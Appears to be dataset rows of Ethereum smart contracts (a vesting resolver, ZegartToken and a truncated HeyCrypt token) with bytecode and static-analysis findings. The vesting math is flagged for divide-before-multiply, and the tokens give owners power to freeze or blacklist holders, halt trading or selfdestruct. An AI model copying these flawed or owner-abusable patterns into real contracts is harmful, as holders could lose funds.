// InstaVestingFactoryInterface public constant factory = InstaVestingFactoryInterface(0x3730D9b06bc23fd2E2F84f1202a7e80815dd054a);
InstaVestingFactoryInterface public immutable factory;
constructor(address factory_) {
factory = InstaVestingFactoryInterface(factory_);
}
struct VestingData {
address recipient;
address vesting;
address owner;
uint256 vestingAmount;
uint256 vestingBegin;
uint256 vestingCliff;
uint256 vestingEnd;
uint256 lastClaimed;
uint256 terminatedTime;
uint256 vestedAmount;
uint256 unvestedAmount;
uint256 claimedAmount;
uint256 claimableAmount;
}
function getVestingByRecipient(address recipient) external view returns(VestingData memory vestingData) {
address vestingAddr = factory.recipients(recipient);
return getVesting(vestingAddr);
}
function getVesting(address vesting) public view returns(VestingData memory vestingData) {
if (vesting == address(0)) return vestingData;
InstaVestingInferface VestingContract = InstaVestingInferface(vesting);
uint256 vestingBegin = uint256(VestingContract.vestingBegin());
uint256 vestingEnd = uint256(VestingContract.vestingEnd());
uint256 vestingCliff = uint256(VestingContract.vestingCliff());
uint256 vestingAmount = VestingContract.vestingAmount();
uint256 lastUpdate = uint256(VestingContract.lastUpdate());
uint256 terminatedTime = uint256(VestingContract.terminateTime());
uint256 claimedAmount;
uint256 claimableAmount;
uint256 vestedAmount;
uint256 unvestedAmount;
if (block.timestamp > vestingCliff) {
uint256 time = terminatedTime == 0 ? block.timestamp : terminatedTime;
vestedAmount = vestingAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin);
unvestedAmount = vestingAmount.sub(vestedAmount);
claimableAmount = vestingAmount.mul(time - lastUpdate).div(vestingEnd - vestingBegin);
claimedAmount = vestedAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin);
}
vestingData = VestingData({
recipient: VestingContract.recipient(),
owner: VestingContract.owner(),
vesting: vesting,
vestingAmount: vestingAmount,
vestingBegin: vestingBegin,
vestingCliff: vestingCliff,
vestingEnd: vestingEnd,
lastClaimed: lastUpdate,
terminatedTime: terminatedTime,
vestedAmount: vestedAmount,
unvestedAmount: unvestedAmount,
claimedAmount: claimedAmount,
claimableAmount: claimableAmount
});
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806367c61b8e14610051578063c45a01551461007a578063cc49ede71461008f578063fc0c546a146100a2575b600080fd5b61006461005f36600461079a565b6100aa565b60405161007191906108de565b60405180910390f35b610082610165565b604051610071919061081b565b61006461009d36600461079a565b610189565b610082610659565b6100b2610717565b6040516375c1018960e11b81526000906001600160a01b037f0000000000000000000000003b05a5295aa749d78858e33ece3b97bb3ef4f029169063eb8203129061010190869060040161081b565b60206040518083038186803b15801561011957600080fd5b505afa15801561012d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061015191906107b6565b905061015c81610189565b9150505b919050565b7f0000000000000000000000003b05a5295aa749d78858e33ece3b97bb3ef4f02981565b610191610717565b6001600160a01b0382166101a457610160565b60008290506000816001600160a01b031663e29bc68b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101e457600080fd5b505afa1580156101f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061021c91906107ea565b63ffffffff1690506000826001600160a01b03166384a1931f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561025f57600080fd5b505afa158015610273573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061029791906107ea565b63ffffffff1690506000836001600160a01b031663f3640e746040518163ffffffff1660e01b815260040160206040518083038186803b1580156102da57600080fd5b505afa1580156102ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031291906107ea565b63ffffffff1690506000846001600160a01b031662728f766040518163ffffffff1660e01b815260040160206040518083038186803b15801561035457600080fd5b505afa158015610368573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061038c91906107d2565b90506000856001600160a01b031663c04637116040518163ffffffff1660e01b815260040160206040518083038186803b1580156103c957600080fd5b505afa1580156103dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040191906107ea565b63ffffffff1690506000866001600160a01b03166348f2f1fa6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044457600080fd5b505afa158015610458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c91906107ea565b63ffffffff169050600080600080874211156104f457600085156104a057856104a2565b425b90506104bc8b8b036104b68a8e8503610671565b906106bd565b92506104c888846106ef565b91506104dc8b8b036104b68a8a8503610671565b93506104f08b8b036104b6858e8503610671565b9450505b604051806101a001604052808c6001600160a01b03166366d003ac6040518163ffffffff1660e01b815260040160206040518083038186803b15801561053957600080fd5b505afa15801561054d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057191906107b6565b6001600160a01b031681526020018e6001600160a01b031681526020018c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906107b6565b6001600160a01b031681526020018881526020018b81526020018981526020018a8152602001878152602001868152602001838152602001828152602001858152602001848152509b505050505050505050505050919050565b736f40d4a6237c257fff2db00fa0510deeecd303eb81565b600082610680575060006106b7565b8282028284828161068d57fe5b04146106b45760405162461bcd60e51b81526004016106ab9061089d565b60405180910390fd5b90505b92915050565b60008082116106de5760405162461bcd60e51b81526004016106ab90610866565b8183816106e757fe5b049392505050565b6000828211156107115760405162461bcd60e51b81526004016106ab9061082f565b50900390565b604051806101a0016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6000602082840312156107ab578081fd5b81356106b48161098c565b6000602082840312156107c7578081fd5b81516106b48161098c565b6000602082840312156107e3578081fd5b5051919050565b6000602082840312156107fb578081fd5b815163ffffffff811681146106b4578182fd5b6001600160a01b03169052565b6001600160a01b0391909116815260200190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b6020808252601a908201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60006101a0820190506108f282845161080e565b6020830151610904602084018261080e565b506040830151610917604084018261080e565b50606083015160608301526080830151608083015260a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525061012080840151818401525061014080840151818401525061016080840151818401525061018080840151818401525092915050565b6001600160a01b03811681146109a157600080fd5b5056fea2646970667358221220aac41b9367cc5541a2d378a360db007659af9fa82cd25dda081bb34380d940dd64736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 960 |
0x936cf530568c1a38394b30d896c9cd419d92aa72 | pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract owned {
address public Owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function owned() public{
Owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner(){
require(msg.sender == Owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function TransferOwnership(address newOwner) onlyOwner public {
Owner = newOwner;
}
/**
* @dev Terminates contract when called by the owner.
*/
function abort() onlyOwner public {
selfdestruct(Owner);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract ZegartToken is owned {
// Public variables of the token
string public name;
string public symbol;
string public version;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default
uint256 public totalSupply;
bool tradable;
// This creates an array with all balances
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccounts;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// ether received to contract
event RecieveEth(address indexed _from, uint256 _value);
// ether transferred from contract
event WithdrawEth(address indexed _to, uint256 _value);
// allowance for other addresses
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
//tokens sold to users
event SoldToken(address _buyer, uint256 _value, string note);
// tokens granted to users
event BonusToken(address _customer, uint256 _value, string note);
/// fallback function
function () payable public {
RecieveEth(msg.sender, msg.value);
}
function withdrawal(address _to, uint256 Ether, uint256 Token) onlyOwner public {
require(this.balance >= Ether && balances[this] >= Token );
if(Ether >0){
_to.transfer(Ether);
WithdrawEth(_to, Ether);
}
if(Token > 0)
{
require(balances[_to] + Token > balances[_to]);
balances[this] -= Token;
balances[_to] += Token;
Transfer(this, _to, Token);
}
}
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function ZegartToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
string contractversion
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
version = contractversion; // Set the contract version for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Check if sender is frozen
require(!frozenAccounts[_from]);
// Check if recipient is frozen
require(!frozenAccounts[_to]);
// Save this for an assertion in the future
uint previousBalanceOf = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalanceOf);
}
/// @notice Grant tokens to customers
/// @param _customer Address of account which will receive tokens
/// @param _value uint256 the amount to be transferred.
function GrantToken(address _customer, uint256 _value, string note) onlyOwner public {
require(balances[msg.sender] >= _value && balances[_customer] + _value > balances[_customer]);
BonusToken( _customer, _value, note);
balances[msg.sender] -= _value;
balances[_customer] += _value;
Transfer(msg.sender, _customer, _value);
}
/// @notice Buy quantity of tokens depending on the amount of sent ethers.
/// @param _buyer Address of account which will receive tokens
/// @param _value uint256 the amount to be transferred.
function BuyToken(address _buyer, uint256 _value, string note) onlyOwner public {
require(balances[msg.sender] >= _value && balances[_buyer] + _value > balances[_buyer]);
SoldToken( _buyer, _value, note);
balances[msg.sender] -= _value;
balances[_buyer] += _value;
Transfer(msg.sender, _buyer, _value);
}
/// @notice forbid specified address from sending & receiving tokens
function FreezeAccount(address toFreeze) onlyOwner public {
frozenAccounts[toFreeze] = true;
}
/// @notice allow specified address sending & receiving tokens
function UnfreezeAccount(address toUnfreeze) onlyOwner public {
delete frozenAccounts[toUnfreeze];
}
/// @notice let users trade with the token
function MakeTradable(bool t) onlyOwner public {
tradable = t;
}
/// @notice shows tradability of the contract
function Tradable() public view returns(bool) {
return tradable;
}
modifier notFrozen(){
require (!frozenAccounts[msg.sender]);
_;
}
/// @notice transfers sender's tokens to a specified address.
/// @param _to The address of the recipient.
/// @param _value The amount to be transferred.
function transfer(address _to, uint256 _value) public notFrozen returns (bool success) {
require(tradable);
if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer( msg.sender, _to, _value);
return true;
} else {
return false;
}
}
/// @notice Allows allowed third party to transfer tokens from one address to another. Returns success.
/// @param _from address The address tokens are sending from.
/// @param _to address The address tokens are sending to.
/// @param _value the amount of tokens to be transferred.
function transferFrom(address _from, address _to, uint256 _value) public notFrozen returns (bool success) {
require(!frozenAccounts[_from] && !frozenAccounts[_to]);
require(tradable);
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
Transfer( _from, _to, _value);
return true;
} else {
return false;
}
}
/// @notice Retrieves the token balance of any single address.
/// @param _owner The address from which the balance will be retrieved
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
/// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf
/// @param _spender The address authorized to spend
/// @param _value the max amount they can spend
function approve(address _spender, uint256 _value) public returns (bool success) {
Approval(msg.sender, _spender, _value);
allowed[msg.sender][_spender] = _value;
return true;
}
/// @notice Returns the amount which _spender is still allowed to withdraw from _owner
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
/// @param _spender The address authorized to spend
/// @param _value the max amount they can spend
/// @param _extraData some extra information to send to the approved contract
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice Remove `_value` tokens from the system irreversibly
/// @param _value the amount of money to burn
/// @return True if the transfer was successful
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/// @notice Remove `_value` tokens from the system irreversibly on behalf of `_from`.
/// @param _from the address of the sender
/// @param _value the amount of money to burn
/// @return True if the transfer was successful
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | 0x60606040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461017c578063095ea7b31461020657806318160ddd1461023c57806323b872dd146102615780632e4d318914610289578063309fcbdd146102b0578063313ce567146102c8578063321de1d4146102f157806335a063b41461035657806342966c681461036957806354fd4d501461037f57806362d590ac1461039257806370a08231146103f757806379cc679014610416578063860838a51461043857806395d89b4114610457578063a9059cbb1461046a578063ae2cbc911461048c578063b36c80221461049f578063b4a99a4e146104be578063cae9ca51146104ed578063ce0df06b14610552578063cfaaa26614610571578063dd62ed3e14610590575b33600160a060020a03167fb14430b58016c238f8359b31343d55650b90d101a6e8d1475b6a183ac808cda73460405190815260200160405180910390a2005b341561018757600080fd5b61018f6105b5565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101cb5780820151838201526020016101b3565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021157600080fd5b610228600160a060020a0360043516602435610653565b604051901515815260200160405180910390f35b341561024757600080fd5b61024f6106ce565b60405190815260200160405180910390f35b341561026c57600080fd5b610228600160a060020a03600435811690602435166044356106d4565b341561029457600080fd5b6102ae600160a060020a0360043516602435604435610863565b005b34156102bb57600080fd5b6102ae60043515156109bc565b34156102d357600080fd5b6102db6109ea565b60405160ff909116815260200160405180910390f35b34156102fc57600080fd5b6102ae60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109f395505050505050565b341561036157600080fd5b6102ae610b65565b341561037457600080fd5b610228600435610b8e565b341561038a57600080fd5b61018f610c19565b341561039d57600080fd5b6102ae60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610c8495505050505050565b341561040257600080fd5b61024f600160a060020a0360043516610d61565b341561042157600080fd5b610228600160a060020a0360043516602435610d7c565b341561044357600080fd5b610228600160a060020a0360043516610e58565b341561046257600080fd5b61018f610e6d565b341561047557600080fd5b610228600160a060020a0360043516602435610ed8565b341561049757600080fd5b610228610fc5565b34156104aa57600080fd5b6102ae600160a060020a0360043516610fce565b34156104c957600080fd5b6104d161100a565b604051600160a060020a03909116815260200160405180910390f35b34156104f857600080fd5b61022860048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061101995505050505050565b341561055d57600080fd5b6102ae600160a060020a036004351661114b565b341561057c57600080fd5b6102ae600160a060020a036004351661118a565b341561059b57600080fd5b61024f600160a060020a03600435811690602435166111d4565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561064b5780601f106106205761010080835404028352916020019161064b565b820191906000526020600020905b81548152906001019060200180831161062e57829003601f168201915b505050505081565b600082600160a060020a031633600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405190815260200160405180910390a350600160a060020a03338116600090815260086020908152604080832093861683529290522081905560015b92915050565b60055481565b600160a060020a03331660009081526009602052604081205460ff16156106fa57600080fd5b600160a060020a03841660009081526009602052604090205460ff1615801561073c5750600160a060020a03831660009081526009602052604090205460ff16155b151561074757600080fd5b60065460ff16151561075857600080fd5b600160a060020a0384166000908152600760205260409020548290108015906107a85750600160a060020a0380851660009081526008602090815260408083203390941683529290522054829010155b80156107b45750600082115b80156107d95750600160a060020a038316600090815260076020526040902054828101115b1561085857600160a060020a03808516600081815260076020908152604080832080548890039055878516808452818420805489019055848452600883528184203390961684529490915290819020805486900390556000805160206112008339815191529085905190815260200160405180910390a350600161085c565b5060005b9392505050565b60005433600160a060020a0390811691161461087e57600080fd5b8130600160a060020a031631101580156108b15750600160a060020a033016600090815260076020526040902054819010155b15156108bc57600080fd5b600082111561093457600160a060020a03831682156108fc0283604051600060405180830381858888f1935050505015156108f657600080fd5b82600160a060020a03167fccbd99ba6da8f29b2a4f65e474e3c3973564d356c162c08d45f3dc7f0cb5b3aa8360405190815260200160405180910390a25b60008111156109b757600160a060020a0383166000908152600760205260409020548181011161096357600080fd5b600160a060020a033081166000818152600760205260408082208054869003905592861680825290839020805485019055916000805160206112008339815191529084905190815260200160405180910390a35b505050565b60005433600160a060020a039081169116146109d757600080fd5b6006805460ff1916911515919091179055565b60045460ff1681565b60005433600160a060020a03908116911614610a0e57600080fd5b600160a060020a033316600090815260076020526040902054829010801590610a505750600160a060020a038316600090815260076020526040902054828101115b1515610a5b57600080fd5b7f0307f82a1d7930932f894f6f841bd41285da9d1374694c831ad1efa591139316838383604051600160a060020a03841681526020810183905260606040820181815290820183818151815260200191508051906020019080838360005b83811015610ad1578082015183820152602001610ab9565b50505050905090810190601f168015610afe5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1600160a060020a033381166000818152600760205260408082208054879003905592861680825290839020805486019055916000805160206112008339815191529085905190815260200160405180910390a3505050565b60005433600160a060020a03908116911614610b8057600080fd5b600054600160a060020a0316ff5b600160a060020a03331660009081526007602052604081205482901015610bb457600080fd5b600160a060020a03331660008181526007602052604090819020805485900390556005805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561064b5780601f106106205761010080835404028352916020019161064b565b60005433600160a060020a03908116911614610c9f57600080fd5b600160a060020a033316600090815260076020526040902054829010801590610ce15750600160a060020a038316600090815260076020526040902054828101115b1515610cec57600080fd5b7f168da3c35119029b731135c825a5d7cf9dc28de31b4c7ff10d8fcb3f6c0908cc838383604051600160a060020a038416815260208101839052606060408201818152908201838181518152602001915080519060200190808383600083811015610ad1578082015183820152602001610ab9565b600160a060020a031660009081526007602052604090205490565b600160a060020a03821660009081526007602052604081205482901015610da257600080fd5b600160a060020a0380841660009081526008602090815260408083203390941683529290522054821115610dd557600080fd5b600160a060020a038084166000818152600760209081526040808320805488900390556008825280832033909516835293905282902080548590039055600580548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60096020526000908152604090205460ff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561064b5780601f106106205761010080835404028352916020019161064b565b600160a060020a03331660009081526009602052604081205460ff1615610efe57600080fd5b60065460ff161515610f0f57600080fd5b600160a060020a033316600090815260076020526040902054829010801590610f385750600082115b8015610f5d5750600160a060020a038316600090815260076020526040902054828101115b15610fbd57600160a060020a033381166000818152600760205260408082208054879003905592861680825290839020805486019055916000805160206112008339815191529085905190815260200160405180910390a35060016106c8565b5060006106c8565b60065460ff1690565b60005433600160a060020a03908116911614610fe957600080fd5b600160a060020a03166000908152600960205260409020805460ff19169055565b600054600160a060020a031681565b6000836110268185610653565b156111435780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156110dc5780820151838201526020016110c4565b50505050905090810190601f1680156111095780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561112a57600080fd5b6102c65a03f1151561113b57600080fd5b505050600191505b509392505050565b60005433600160a060020a0390811691161461116657600080fd5b600160a060020a03166000908152600960205260409020805460ff19166001179055565b60005433600160a060020a039081169116146111a557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a039182166000908152600860209081526040808320939094168252919091522054905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c16706ac2f8c15f619120c2f1a14ebc467b48761b01b3c3945507f6b04539c8c0029 | {"success": true, "error": null, "results": {}} | 961 |
0xa7f00d403f9a796adfcbd36b8057907ba1ecb225 | /*
__ __ ______ __ __ ______ ______ __ __ ______ ______
/\ \_\ \ /\ ___\ /\ \_\ \ /\ ___\ /\ == \ /\ \_\ \ /\ == \ /\__ _\
\ \ __ \ \ \ __\ \ \____ \ \ \ \____ \ \ __< \ \____ \ \ \ _-/ \/_/\ \/
\ \_\ \_\ \ \_____\ \/\_____\ \ \_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\
\/_/\/_/ \/_____/ \/_____/ \/_____/ \/_/ /_/ \/_____/ \/_/ \/_/
*/
//https://t.me/heycryptmessenger
//https://heycrypt.io
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HeyCrypt is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tfee;
uint256 private _mfee;
uint256 private _sellFee;
uint256 private _buyFee;
address payable private _feeAddress;
string private constant _name = unicode"HeyCrypt";
string private constant _symbol = unicode"HeyCrypt";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingStarted;
bool private inSwap = false;
bool private swapEnable = false;
bool private removeMaxTxn = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxHeldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxHeldAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_buyFee = 10;
_sellFee = 12;
_feeAddress = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTxn(bool onoff) external onlyOwner() {
removeMaxTxn = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_tfee = 0;
_mfee = _buyFee;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTxn) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxTxAmount);
require(amount.add(walletBalance) <= _maxHeldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_tfee = 0;
_mfee = _sellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnable) {
uint burnAmount = contractTokenBalance/6;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount , uint256 maxHeldAmount) external onlyOwner() {
if (maxTxAmount > 300000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
_maxHeldAmount = maxHeldAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingStarted,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
